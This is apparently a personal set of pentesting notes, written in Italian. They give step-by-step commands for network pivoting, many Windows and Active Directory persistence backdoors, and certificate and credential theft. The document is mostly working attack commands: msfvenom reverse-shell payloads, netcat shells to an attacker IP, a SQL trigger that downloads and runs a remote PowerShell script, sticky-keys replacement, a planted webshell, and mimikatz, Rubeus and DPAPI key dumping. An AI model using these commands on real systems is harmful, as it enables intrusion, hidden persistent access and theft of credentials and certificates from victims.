sudo ./ptunnel-ng -r<ip server> -R<port> #comando per impostare l'ICMP server sulla macchina target

sudo ./ptunnel-ng -p<ip locale> -l<porta locale> -r<ip server remoto> -R<porta remota> #comando per impostare il client sulla macchina target

ssh -p<porta locale> -l ubuntu 127.0.0.1 #comando che si connette a SSH tramite ICMP tunneling

ssh -D 9050 -p<porta locale> -l ubuntu 127.0.0.1 #comando che oltre a connettersi attiva proxysocks

proxychains nmap -sV -sT <ip host target> -p<porta target> #comando che utilizza nmap su un host target tramite proxychains

SocksOverRDP e Proxifier:

SocksoverRDP è un tool che utilizza i DVC(Dynamic Virtual Channels) del RDP per il tunneling delle connessioni del remote desktop protocol

Comandi:

Allora come primi passi dobbiamo scaricare "SocksOverRDPx64.zip" e "Proxifier", i file .zip vanno passati alla pivot machine (python server) e vanno decompressi, andrà poi importata una DLL e fatta la connessione RDP con la macchina target

python3 -m http.server 80 #comando per avviare il webserver

curl -o <nome>.zip http://<ip macchina kali>/<zip di sockoverRDP>.zip #comando per passare dalla nostra macchina alla pivot machine SockOverRDP

Estraiamo la cartella e i due file .exe e .dll li trasferiamo nel desktop, avviamo una powershell come amministratori e inviamo i seguenti comandi

regsvr32.exe SocksOverRDP-Plugin.dll #comando per importare la .dll

mstsc.exe #comando che avvia un eseguibile per la connessione a Remote Desktop Protocol verso la macchina target

Adesso andrà fatto un ulteriore spostamento del "SocksOverRDPx64.zip" verso la target machine, per farlo possiamo creare sulla pivot machine una cartella condivisibile tramite SMB e con all'interno i 2 file del .zip

creare una nuova cartella-> inserire i due .file .dll e .exe-> click destro proprietà-> condivisione-> condivisione avanzata-> condvidi cartella #passi per creare la cartella condivisibile

\\<ip pivot host>\<nome cartella> #comando che se inserito su esplora risorse, inserite le credenziali possiamo accedere alla cartella condivisibile e scaricare i due file

Trasferiamo i 2 file nel desktop apriamo una shell privilegiata e eseguiamo questi 2 comandi:

regsvr32.exe SocksOverRDP-Plugin.dll #comando per importare la .dll

.\SocksOverRDP-Server.exe #comando per avviare il server che farà da tunneling

Ritornando sulla pivot machine, aprendo un cmd shell e lanciano il seguente comando:

netstat -antb | findstr 1080 #comando che lista le connessioni e poi ricerca la stringa di valore 1080
TCP    127.0.0.1:1080         0.0.0.0:0              LISTENING #output comando

Possiamo notare un socket di rete aperto sul localhost alla porta 1080, in ascolto su ogni interfaccia di rete e ogni porta, questo sta a significare che il SOCKS listener è stato avviato; ora non resta che avviare proxifier con i seguenti passi:

profile-> proxy servers-> add-> ip 127.0.0.1 porta 1080 protocollo SOCKS5-> ok #passi per preparare il tool proxifier

Ora tutto è pronto, il proxy server è impostato, ogni comando inviato passerà da lui per poi continuare la sua strada verso la pivot machine tramite RDP

Sito per mappe mentali:

Il pivoting tra diverse macchine può diventare tedioso perchè può capitare che un host vadi offline, che una subnet venga cambiata e mille altri problemi è quindi importante tenere con se una piccola mappa mentale della rete target tramite il sito diagrams

Persistence:

La persistence è la pratica di mantenere un accesso alla macchina compromessa, perchè non è sempre possibile rientrare con le stesse metodologie adottate nella foothold iniziale

Gruppi:

N.B: E' richiesto di avere un account con privilegi

La prima tecnica di persistenza è quella di aggiungere un utente meno privilegiato ad un gruppo che invece abbia più permessi come l'administrators group, il backup operators group o il remote management users. Per ogni gruppo ci sono vantaggi e svantaggi, l'administrators da molti privilegi ma può dare nell'occhio, il backup operators ha meno privilegi ma può dumpare SAM e SYSTEM e vedere le chiavi di registro e il remote management users permette il controllo da remoto (RDP)

Comandi:

net localgroup <nome gruppo> <nome utente> /add #comando CMD per aggiungere un utente al gruppo

La connessione da remoto però innesca l'attivazione del "LocalAccountTokenFilterPolicy" policy dell' UAC che toglie i poteri d'amministratori derivati dai gruppi se connessi da remoto

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1 #comando per disattivare la policy

Gruppi annidati:

La tecnica consiste nel creare diversi gruppi fasulli uno membro dell'altro per poi aggiungere un gruppo come quello degli amministratori a questo "nido" ed infine aggiungere il nostro utente che avrà i privilegi del gruppo di amministratori

Comandi:

New-ADGroup -Path "OU=<nome ou>,OU=<nome ou>,DC=<nome DC>,DC=<altro nome DC>,DC=<altro nome DC>" -Name "<nome gruppo>" -SamAccountName "<nome SAM>" -DisplayName "<nome che vogliamo mostrare" -GroupScope Global -GroupCategory Security #comando per creare un gruppo

Quindi creiamo quanti gruppi vogliamo per poi aggiungere uno ad uno con questo comando

Add-ADGroupMember -Identity "<nome SAM gruppo d'aggiungere>" -Members "<nome SAM gruppo annidato>" #comando per aggiungere un gruppo ad un altro gruppo

Aggiungiamo l'user al gruppo iniziale

Add-ADGroupMember -Identity "<nome SAM gruppo iniziale>" -Members "<nome SAM user>" #comando per aggiungere l'user ad un gruppo

Get-ADGroupMember -Identity "<nome gruppo admin>" #comando per controllare se l'user è nel gruppo di admin

AdminSDHolder:

AdminSDHolder è un template container presente in ogni dominio che ogni 60 minuti tramite il processo "SDProp" applica la sua ACL a tutti i gruppi considerati protetti di cui ne fanno anche parte Domain admins, Administrators, Enterprise Admins, ecc...

Comandi:

runas /netonly /user:<dominio>\<utente> cmd.exe #comando per aprire una nuova shell con l'utente selezionato

mmc #comando per aprire microsoft management console

File-> aggiungi/rimuovi snap-in-> Active directory Utenti e Computer-> AdminSDHolder-> click destro-> Proprietà-> sicurezza-> aggiungi-> aggiungiamo il nostro utente-> controlli nomi-> permessi completi-> attendere 60 minuti e il nostro utente avrà il controllo completo sui gruppi protetti #passi per aggiungere l'user scelto da noi alla cartella AdminSDHolder con permessi completi

Esiste altrimenti lo script che può semplificarci la vita

GPO (Group Policy Management):

Il GPO si occupa del controllo delle policy di configurazione locale delle varie macchine all'interno dell'AD, per esempio ha il compito di: tenere le configurazione dell'AV, decidere quali script devono runnare al boot del computer e ecc...

Due tecniche sono comuni per la persistence con la GPO:

Restricted Group Membership: permette l'accesso ad ogni host nell'AD
Logon Script Deployment: decisione su quale script runna ogni volta che il pc viene avviato, esempio una revshell

Comandi:

N.B: I .bat sono più stabili con la GPO

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=<ip> lport=<porta> -f exe -o <nome eseguibile>.exe #comando per creare un'eseguibile con all'interno una revshell

msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST <ip>; set LPORT <porta>;exploit" #comando per startare il listener sulla nostra machine

mmc #comando per aprire il microsoft management console

File-> aggiungimi/rimuovi snap-in-> GPO-> aggiungi-> cliccare su qualsiasi OU si voglia-> creare una GPO con qualsiasi nome-> click destro-> applica poi-> Group Policy Management Editor-> policies-> impostazioni finestre-> scripts-> Logon-> proprietà-> selezionare il nostro script con la revshell->applica e ok #passi completi per aggiungere la propria GPO policy che funziona ad ogni boot del pc

andare sulla nostra OU selezionata-> delega-> click destro sul gruppo ottenuto con la revshell-> modifica impostazioni-> elimina,modifica sicurezza-> click sugli altri gruppi e li rimuoviamo-> sicurezza-> avanzate-> rimuovi il proprietario dai permessi-> sempre in sicurezza aggiungi clicchiamo-> aggiungiamo Domain computers-> gli diamo i permessi di lettura-> clicchiamo ok e rimuoviamo l'ultimo gruppo rimasto #passi completi per non fare leggere la nostra GPO

Privilegi:

I privilegi possono essere fonte di persistenza, in quanto vi sono alcuni di loro che danno più poteri del necessario

SeBackupPrivilege/SeRestorePrivilege:

Sono due priviliegi che danno molto potere, "SeBackupPrivilege" permette di leggere ogni file nel sistema invece "SeRestorePrivilege" permette di scrivere ogni file del sistema, avendo tali poteri è possibile modificare qualsiasi cosa

Modifica policy di sicurezza:

Comandi:

secedit /export /cfg <nome file>.inf #comando per esportare le policy di sicurezza locale

Avendola esportata potremmo aggiungere degli account nei diversi privilegi che vediamo scritti e poi ricaricarla nel sistema

secedit /import /cfg <nome file>.inf /db config.sdb #comando che importa la nuova configurazione modificata nel database di sicurezza

secedit /configure /db config.sdb /cfg <nome file>.inf #comando che applica la configurazione importata nel database di sicurezza

Servizi:

La modifica di servizi già esistenti o la creazione di nuovi può essere utilizzato a nostro favore

Backdoor nei servizi:

La modifica della path del binario a cui punta un servizio può essere utilizzata per la creazione di una backdoor

Comandi:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip> LPORT=<porta> -f exe-service -o <nome eseguibile>.exe #commando che crea un eseguibile con al suo interno una revshell

sc.exe create <nome servizio> binPath= "<path dell'eseguibile>" start= auto #comando per creare un servizio che punti all'eseguibile

sc.exe start <nome servizio> #comando per avviare il servizio

Modificare servizi esistenti:

La possibilità di modificare i servizi già presenti può essere utilizzato a nostro vantaggio e da meno nell'occhio

Comandi:

sc.exe query state=all #comando per listare tutti i servizi

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip> LPORT=<porta> -f exe-service -o <nome eseguibile>.exe #commando che crea un eseguibile con al suo interno una revshell

sc.exe config <nome servizio da modificare> binPath= "<path dell'eseguibile>" start= auto obj= "<account che utilizza il servizio>" #comando per modificare un servizio

File:

Eseguibili:

Un file eseguibile apre le porte a moltissime opzioni di persistenza come una piccola backdoor

Comandi:

msfvenom -a x64 --platform windows -x <nome eseguibile utilizzato>.exe -k -p windows/x64/shell_reverse_tcp lhost=<ip> lport=<porta> -b "\x00" -f exe -o <nome nuovo eseguibile>.exe #comando per generare un eseguibile con al suo interno una revshell

Shortcut file:

Anche le shortcut possono essere fonti di backdoor andandole a modificare

Comandi:

Script.ps1: #nome dello script con di seguito il codice da scriverci
Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe <ip> <porta>" #comando che runna un processo che si collega ad un dato ip e porta
C:\Windows\System32\<nome eseguibile>.exe #avvio dell'eseguibile che verrà modificato

powershell.exe -WindowStyle hidden C:\Windows\Tools\script.ps1 #comando da sostituire alla destinazione del collegamento

shortcut-> proprietà-> destinazione -> script creato da noi #path per modificare il collegamento

Hijacking ProgID:

Un file possiede una determinata estensione, bene è possibile andare a modificare il ProgID di quela file (Viene spiegato qui cos'è il ProgID, nell'exploit con fodhelper)

Comandi:

HKEY_LOCAL_MACHINE\SOFTWARE\classes\.<estensione> #path per vedere il nome del ProgID

ES: HKEY_LOCAL_MACHINE\SOFTWARE\classes\.txt = txfile/txtlegacy

HKEY_LOCAL_MACHINE\SOFTWARE\classes\<nome ProgID>\shell\open\command #path dove troviamo l'eseguibile che viene ricercato ogni volta che apriamo una determinata estensione

Script.ps1: #nome dello script con di seguito il codice da scriverci
Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe <ip> <porta>" #comando che runna un processo che si collega ad una dato ip e porta
C:\Windows\system32\<nome eseguibile>.exe #comando che runna l'eseguibile

powershell.exe -WindowStyle hidden C:\Windows\Tools\script.ps1 #valore da cambiare al default value della chiave di registro

Registri:

La spiegazione di cosa sono e di quali sono i registri si trova qui

I registri sono una componente fondamentale in windows che se modificati a nostro vantaggio possono tornare molto utili

Registri di avvio:

Il target sono questi sottoregistri di avvio:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\Software\Microsoft\Windows\CurrentVersion\Run
HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce

N.B: HKCU si applica solo all'utente corrente, HKLM si applica a tutti; la key "Run" avvia gli eseguibili al suo interno ogni volta che vi è il login mentre "RunOnce" solo una volta.

Comandi:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip> LPORT=<porta> -f exe -o <nome eseguibile>.exe #comando per creare un'eseguibile con revshell

Editor registri-> HKLM\Software\Microsoft\Windows\CurrentVersion\Run-> creiamo un value di tipo REG_EXPAND_SZ che punta al path del nostro eseguibile #passi per creare un value che punti al nostro eseguibile

COM hijacking:

Il COM hijacking è la tecnica di creare COM finti che all'avvio del PC ci consentano di ottenere una revshell

Chiavi di registro dove trovare i CLSID:

HKCU\Software\Classes\CLSID\

HKCR\CLSID\<CLSID>

HKLM\Software\Classes\CLSID\

N.B: Importante ricordarsi che le HKCU caricano i CLSID dei COM prima dei HKLM

Comandi:

Primo passo bisognerà cercare un CLSID non esistente, per poi aggiungere un'altra subkey chiamata "Inprocserver32" che punti ad una DLL malevola

reg add 'HKCU\Software\Classes\<CLSID>\InprocServer32' /f #comando per aggiungere le 2 subkey directory

reg add 'HKCU\Software\Classes\<CLSID>\InprocServer32' /v <nome chiave> /t REG_SZ /d <path dll malevola> /f #comando per aggiungere la subkey che punta all'.exe malevolo

Varie:

N.B: E' richiesto di avere un account con privilegi

Secure Descriptor (WinRM):

Teoria del secure descriptor qui

Possiamo permettere ad un nostro utente creato per la persistence di poter loggare da remoto tramite la modifica del secure desciptor

Comandi:

Set-PSSessionConfiguration -Name Microsoft.PowerShell -showSecurityDescriptorUI #comando per aprire graficamente il WinRM secure descriptor

selezionare l'utente -> controllo completo #passi per applicare la modifiche

RID Hijacking:

Il RID è un identificativo numerico per i vari utenti ed è utilizzato dal LSASS infatti quando vi è un'accesso LSASS collega il RID di un utente ad un token di accesso dell'UAC, andando a fare l'Hijacking del RID un semplice utente può risultare come un admin

Comandi:

Get-LocalUser | fl * #comando per ottenere info sugli utenti, specialmente per capire il RID dell'admin

PsExec64.exe -i -s regedit #comando per avviare regedit con privilegi di amministratore

HKLM\SAM\SAM\Domains\Account\Users\ #path per modificare i RID

Nella folder Users, potremmo notare diverse altre subfolder con numeri esadecimale, se convertiti in decimale possiamo ricavare il RID ottenuto con il comando in powershell; ora non ci rimane che selezionare la subfolder del nostro utente, andare al valore "F" che conterrà il RID (registrato in little-endian) e modificarlo con quello dell'admin

ES:

Admin = RID(500)-> Esadecimale(0x1F4)-> Subkey(000001F4)

UserMalevolo = RID(502)-> Esadecimale(0x1F6)-> Subkey(000001F6)-> Value F che verrà cambiato da (F6 10) in (F4 10)

UserMalevolo una volta rieffettuato il login avrà i privilegi di admin

SID History:

Una history dei SID che ha avuto un utente con i relativi permessi di cui godeva

Comandi:

Get-ADUser <nome utente> -properties sidhistory #comando che recupera la SID history

Get-ADGroup "<nome gruppo>" #comando per recuperare il SID del gruppo che in seguito verrà utilizzato

Stop-Service -Name ntds -force #comando per fermare il servizio ntds, in quanto bisogna apportare delle modifiche al DB dell'AD

Ora entra in gioco un tool che ci permette di modificare la SID history

Add-ADDBSidHistory -SamAccountName '<nome SAM>' -SidHistory '<SID che vogliamo aggiungere>' -DatabasePath C:\Windows\NTDS\ntds.dit #comando per aggiungere il SID al NTDS.dit

Start-Service -Name ntds #comando per riavviare il servizio ntds

Task Scheduler:

Il Task scheduler oltre ad essere fonte di Privilege escalation è utilizzato nella persistence tramite la creazione di un nuovo task o della modifica di uno già esistente

Comandi:

schtasks /create /sc minute /mo 10 /tn <nome task> /tr "<path programma o comando da eseguire" /ru <utente che lo esegue> #creazione di un task che si esegue ogni 10 minuti

schtasks /query /tn <nome task> #comando per vedere lo stato del nostro task

Vi è la possibilità di rendere invisibile un task, andando ad eliminare il suo secure descriptor(SD) nelle chiavi di registro.

regedit #comando per aprire regedit

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\<nome task da modificare> #path dove si trova SD del task da eliminare

SD #nome del valore da eliminare

Andando a fare una query del nostro task potremmo vedere che vi sarà un errore del sistema siccome non lo troverà.

Cartella Startup:

Ogni utente in un sistema windows dispone di una propria cartella che quando viene effettuato il login avvia degli eseguibili, quindi con i permessi necessari potremmo inserire un nostro payload

Comandi:

C:\Users\<nome utente>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup #path della cartella startup

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip> LPORT=<porta> -f exe -o <nome eseguibile>.exe #comando per creare un'eseguibile con revshell

Ora va passato sulla target machine e inserito nella path della cartella startup.

WinLogon:

Spiegazione di WinLgon qui

WinLogon sfrutta delle chiavi di registro alla path "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon", e due sono i value interessanti "UserInit" che ha il compito di caricare le preferenze dell'utente e "Shell" che nella maggior parte dei casi punta a explorer.exe; aggiungendo una semplice virgola a "Shell" possiamo fare in modo di avviare un nostro eseguibile

Comandi:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip> LPORT=<porta> -f exe -o <nome eseguibile>.exe #comando per creare un'eseguibile con revshell

regedit -> HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\UserInit-> explore.exe, <path del nostro eseguibile> #passi per modificare la chiave Shell

Altro metodo di persistenza quando si esegue il logon è andare alla seguente path "HKCU\Environment" e creare una nostra variabile d'ambiente di nome "UserInitMprLogonScript" che punti al nostro eseguibile e ogni volta che avviene un logon si avvierà.

Screensaver:

Lo Screensaver di windows utilizzato per evitare il burn-in degli schermi può essere utilizzato come tecnica di persistence

Comandi:

reg query "HKCU\Control Panel\Desktop" #comando per vedere se attivo infatti se la voce "ScreenSaveActive" è settato a 1 significa che è attivo

reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v "<nome chiave di registro>" /t REG_SZ /d "<path all'eseguibile per la revshell>" /f #comando per aggiungere un binario che causa persistenza

reg delete "HKEY_CURRENT_USER\Control Panel\Desktop" /v "<nome chiave di registro>" /f #comando per rimuovere la chiave di registro creata

Possiamo anticipare l'attivazione andando a modificare lo "ScreenSaveTimeOut", andando ad accorciare il tempo

reg query "HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaveTimeOut" #comando per capire quanto tempo è impostato prima che si attivi lo screensaver

reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v "ScreenSaveTimeOut" /t REG_SZ /d "<tempo in secondi>" /f #comando per modificare il tempo di attivazione

reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v "ScreenSaveTimeOut" /t REG_SZ /d "<reimpostare il tempo di default>" /f #comando per reimpostare il valore di default

Tasti Permanenti:

Quando viene premuto rapidamente per 5 volte di seguito il tasto SHIFT, windows aprirà un'eseguibile di nome "setch.exe", sostituendolo avremmo la possibilità di eseguire un nostro eseguibile anche prima della schermata di login.

Comandi:

takeown /f C:\Windows\System32\sethc.exe #comando per prendere il controllo dell'eseguibile

icacls C:\Windows\System32\sethc.exe /grant Administrator:F #comando per darsi i permessi sull'eseguibile

copy c:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe #sostituzione dell'eseguibile con un CMD di user SYSTEM

Utilman:

Utilman è un'eseguibile che fornisce delle opzioni di accesso semplificato prima del login, anche in questo caso avendo i giusti permessi, possiamo sostituire l'eseguibile "utilman.exe" con un "cmd.exe"

Comandi:

takeown /f C:\Windows\System32\utilman.exe #comando per prendere il controllo dell'eseguibile

icacls C:\Windows\System32\utilman.exe /grant Administrator:F #comando per darsi i permessi sull'eseguibile

copy c:\Windows\System32\utilman.exe C:\Windows\System32\sethc.exe #sostituzione dell'eseguibile con un CMD di user SYSTEM

IIS:

Inserendo una webshell all'interno della root del server IIS potremmo loggare come utente del servizio con i relativi privilegi annessi, tra cui uno molto importante SeImpersonatePrivilege

Comandi:

move <nome webshell>.aspx C:\inetpub\wwwroot\ #comando per copiare la webshell nella root dell'IIS

icacls <nome webshell>.aspx /grant Everyone:F #comando per darsi il controllo totale sulla webshell

http://<ip target/<nome webshell>.aspx #Url da visitare e attivare la webshell

Mysql:

Mysql è presente in molti sistemi e può essere utilizzato per i nostri scopi

Comandi:

Microsoft SQL Server Management Studio-> accesso con le credenziali dell'user-> nuova query #passi per fare una query

Query:

sp_configure 'Show Advanced Options',1;
RECONFIGURE;
GO #query che attiva le opzioni avanzate

sp_configure 'xp_cmdshell',1;
RECONFIGURE;
GO #query che avvia la xp_cmdshell

USE master

GRANT IMPERSONATE ON LOGIN::<nome account admin> to [Public]; #comando che da i privilegi a tutti gli utenti, impersonandosi come admin del DB

USE HRDB #utilizzo del DB HRDB

CREATE TRIGGER [backdoor]
ON HRDB.dbo.Employees 
FOR INSERT AS
      
EXECUTE AS LOGIN = 'sa'
EXEC master..xp_cmdshell 'Powershell -c "IEX(New-Object net.webclient).downloadstring(''http://<ip>:<porta>/<script>.ps1'')"';
#query che crea un trigger che si connette ad uno nostro webserver e scarica il nostro script.ps1

PWA (Powershell Web Access):

Installare un'instanza web sull'AD target può permettere una tecnica di persistence da remoto

Comandi:

Install-WindowsFeature -Name WindowsPowerShellWebAccess #comando che installa PWA

Install-PswaWebApplication -useTestCertificate #comando che avvia PWA con un certificato di test

Add-PswaAuthorizationRule -Username <nome utente> -Computername <nome computer> -ConfigurationName * #comando che specifica chi è autorizzato ad accedere

Dopo aver settato tutto bisogna navigare all'URL "https:///pswa" con "/"

Certificati:

la spiegazioni sui certificati la si trova qui

Comandi:

certutil -v -template #comando per listare i template

caratteristiche dei template che interessano a noi:

template con i permessi di poter richiedere un certificato quali Allow Enroll o Allow Full Control

#Lo si trova greppando per ogni parola di Allow Enroll o Allow Full Control per poi vedere se il gruppo che ha questi privilegi è il gruppo in cui poi apparteniamo anche noi

template che permetta l'autenticazione del client che verrà in seguito utilizzata per l'autenticazione al kerberos

#per trovarlo bisogna andare a vedere le proprietà della voce EKU e trovare la parola Client Authentication

template che permette di alterare il SAN (subject alternative name)

#Lo si trova greppando per CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT, se settato a 1 possiamo modificare il SAN

Un template avendo le 3 caratteristiche elencate sopra potrà essere utilizzato a nostro vantaggio

Viene inserito sia il metodo con GUI e CLI:

Metodo GUI:

mmc #comando per aprire microfsoft management console

File-> aggiungi/rimuovi snap-in-> Certificati-> selezioniamo il mio account utente #passi per creare un certificato generale

N.B: Senza privileggi possiamo selezionare solo account utente e non account servizi o account computer quando creiamo il certificato generale

Console Root-> Certificati-> Personale-> tutte le attività-> richiedi nuovo certificato-> avanti-> scritta blu maggiori informazioni sono richieste #passi per creare il certificato personalizzato

#ora va inserito l'UPN dell'user che vogliamo impersonare nel campo SAN

Get-ADUser | fl * #comando per trovare gli user con UPN annesso se presente

#invece nel campo nome soggetto va cambiato con nome comune

Ok-> Enroll-> ora il certificato sarà pronto e deve essere esportato-> click destro sul certificato-> tutte le attività-> esporta-> selezionare si per esportare la chiave privata-> configurare una password-> avanti e verrà esportato #passi per salvare ed esportare il certificato con la relativa chiave privata

N.B: Esportare il certificato con chiave privata annessa è possibile anche con Mimikatz

Ora non dobbiamo fare altro che prenderci il kerberos ticket

link per scaricare rubeus

Rubeus.exe asktgt /user:<nome utente che deve coincidere con quello dell'UPN> /enctype:aes256 /certificate:<path del certificato> /password:<password certificato> /outfile:<file dove verrà salvato il TGT> /domain:<dominio> /dc:<ip> #comando per richiedere il TGT tramite il nostro certificato

Rubeus.exe changepw /ticket:<path al file TGT> /new:<nuova password> /dc:<dominio> /targetuser:<dominio>\<user> #comando per cambiare password dell'account che vogliamo attaccare

Comandi per creare il certificato da CMD con il tool ForgeCert

ForgeCert.exe --CaCertPath <certificato esportato>.pfx --CaCertPassword <password> --Subject CN=<nome> --SubjectAltName <UPN> --NewCertPath <path o nome dove salvare il file>.pfx --NewCertPassword <nuova password> #comando per creare il nostro certificato

Metodo CLI:

Verifichiamo per eventuali vulnerabilità nei certificati

.\Certify.exe find /vulnerable #comando per cercare vulnerabilità

.\Certify.exe request /ca:<dominio CA> /template:UserCert /altname:<nome utente> #comando per ottenere certificato con chiave privata

Copiare chiave privata e certificato in file chiamato "cert.pem"

sed -i 's/\s\s+/\n/g' cert.pem #comando per formattare il cert.pem

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx aggiungere una password per esportare #comandi per creare il certificato in formato PFX

Ora va importato nella target machine e tramite rubeus richiediamo il TGT

Rubeus.exe asktgt /user:<nome utente che deve coincidere con quello dell'UPN> /enctype:aes256 /certificate:<path del certificato> /password:<password certificato> /outfile:<file dove verrà salvato il TGT> /domain:<dominio> /dc:<ip> #comando per richiedere il TGT tramite il nostro certificato

THEFT:

I THEFT sono metodologie di ""furto"" dei certificati per poi utilizzarli nella persistence

Windows Store e Crypto api (THEFT1):

Nel primo passo può succedere che i certificati siano disponibili localmente nel microsoft store

Comandi:

certutil -user -store My 
Get-ChildItem Cert:\CurrentUser\My -Recurse
Get-ChildItem Cert:\CurrentUser\ -Recurse #comandi per listare i certificati nello store utente

certutil -store My 
Get-ChildItem Cert:\LocalMachine\My -Recurse
Get-ChildItem Cert:\LocalMachine\ -Recurse #comando per listare i certificati nello store macchina

$pwd = ConvertTo-SecureString -String "<password>" -Force -AsPlainText #comando per creare una variabile contenente la password
Export-PfxCertificate -Cert cert:\<nome user corrente>\my\<numero di serie> -FilePath ./<nome file ouput>.pfx -Password $pwd #comando per esportare il certificato

certutil -p <password> -exportpfx <numero di serie> <nome file output>.pfx #comando per esportare i certificati con certutil

Come scritto di sopra "può succedere" infatti che windows per aggiungere un layer di sicurezza ai certificati ha introdotto le crypto API, la prima è "CAPI" (Prima ad essere introdootta e presente in ogni versione di windows) la seconda è "CNG" (Cryptography Next Generation come si evinnce dal nome più recente e più sicura) però tramite il tool mimikatz è possibile patcharli

privilege::debug #comando per controllare se abbiamo i privilegi necessari

crypto::capi #comando per patchare CAPI

crypto::cng #comando per patchare CNG

crypto::certificates /export #comando per esportare i certificati

N.B: L'api CNG richiede che venga patchato lsass.exe

Certificato utente via DPAPI (THEFT2):

Windows stora le chiavi private dei certificati utente tramite il DPAPI, quindi il nostro compito sarà di recuperare il certificato target, la DPAPI masterkey per decriptare la chiave privata associata al certificato

Locazione certificati utente:

HKCU\SOFTWARE\Microsoft\SystemCertificates #locazione dei certificati utenti nei registri

%APPDATA%\Microsoft\SystemCertificates\My\certificate #locazione #locazione dei certificati utenti su disco

Loazione chiavi private:

%APPDATA%\Microsoft\Crypto\RSA\<sid utente>\<num identificativo> #locazione chiavi CAPI

%APPDATA%\Microsoft\Crypto\Keys\<num identificativo> #locazione chiavi CNG

Comandi:

./mimikatz.exe "crypto::system /file:<num identificativo> /export" #comando per esportare certificato e chiave pubblica

dpapi::masterkey /in:"<path masterkey>" /sid:<sid utente> /password:<password> #comando per recuperare la master key ma dobbiamo conoscere la password del utente

dpapi::masterkey /in:<path masterkey> /rpc #comando per recuperare la masterkey

dpapi::capi /in:\"Crypto\RSA\<sid utente>\<num identificativo>\" /masterkey:<masterkey> #comando per decriptare la chiave privata

Possiamo utilizzare anche il tool SharpDPAPI, se non disponibile mimikatz

SharpDPAPI.exe certificates #comando per cercare i certificati

SharpDPAPI.exe certificates /password:<password> #comando per dumpare i certificati con la password

Se si ha necessità di convertire da .pem a .pfx (inserire in cert.pem chiave privata e certificato)

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx #comando per convertire da .pem a .pfx

Certificato macchina via DPAPI (THEFT3):

I certificati di tipo macchina hanno anche loro path dove cercarli

Locazione certificati macchina:

HKLM\SOFTWARE\Microsoft\SystemCertificates #locazione dei certificati macchina nei registri

Locazione chiavi private:

%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\RSA\MachineKeys\<sid utente>\<num identificativo> #locazione chiavi CAPI

%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\Keys\<num identificativo> #locazione chiavi CNG

Comandi:

SharpDPAPI.exe certificates /machine #comando per recuperare i certificati macchina

crypto::certificates /export /systemstore:LOCAL_MACHINE #comando di mimikatz per esportare i certificati macchina

lsadump::secrets #comando per recuperare la master key

File dei certificati (THEFT4):

I certificati possono essere anche tranquillamente a giro nel fileystem, salvati nelle diverse estensioni come: .pkcs12, .pem, .pfx, .p12, e ecc...

Comandi:

dir C:\*.pfx C:\*.pem C:\*.p12 C:\*.crt C:\*.cer C:\*.p7b C:\*.ovpn /s /b #comando CMD per cercare le varie estensioni

Get-ChildItem C:\ -include ('*.pem', '*.pfx', '*.p12', '*.crt', '*.cer', '*.key', '*.ovpn') -recurse -erroraction 'silentlycontinue' #comando powershell per cercare le varie estensioni

$CertPath = "<path al file>.pfx"
$CertPass = "<password>"
$Cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2 @($CertPath, $CertPass)
$Cert.EnhancedKeyUsageList #comandi per controllare l'utilizzo del certificato

NTLM furto (THEFT5):

Un utente autotenticato con TGT via PKINI ci da la possibilità di ottnere NTLM hash tramite una struttura "PAC_CREDENTIAL_DATA"

Comandi:

Rubeus.exe asktgt /getcredentials /user:"<nome uetnte>" /certificate:"<base64 del certificato>" /password:"<password certificato" /domain:"<full qualified domain name>" /dc:"<domain>" /show #comando che tramite rubeus recupera NTLM hash

certipy-ad auth -pfx '<nome file>.pfx' -no-save #comando per runnare da linux e recuperare NTLM hash

Tool audit:

Tool utile per l'audit dei certificati scaricabile qua

Tools:

La sezione tools contiene spiegazioni e comandi

Metasploit:

Metasploit è un framework molto utilizzato nel mondo del pentesting, in quanto al suo interno si possono trovare numerosi exploit, vulnerabilità e payload; metasploit dispone dei moduli, che possono essere di diverse tipologie:

Moduli:

I moduli li troviamo alla seguente path "/usr/share/metasploit-framework/modules", sono il cuore principale dello stesso framework e sono divisi in:

*Modulo*	*Descrizione*
Auxiliary	Modulo di supporto che include crawler, scanner, listener e revshell.
Exploits	Modulo contenente gli exploits.
Post	Modulo utilizzato per la post-exploitation.
Encoders	Modulo che permette di encodare il proprio payload.
Payload	Modulo contenente vari payload.
Plugins	Script aggiuntivi da poter utilizzare.

Nel modulo payload poi abbiamo delle sottocategorie:

Adapters = adatta un payload in differenti formati tipo in un bash command
Stageless = Payload che runna nel computer vittima da sola, cioè senza componenti ulteriori da scaricare ("_" è indicato con l'underscore "msfvenom -p windows/x64/meterpreter_reverse_tcp")
Staged = Payload che prima viene runnato nel computer vittima e che poi deve scaricare il resto del payload detto "Stage" ("/" è indicato "msfvenom -p windows/x64/meterpreter/reverse_tcp")

Sintassi dei moduli:

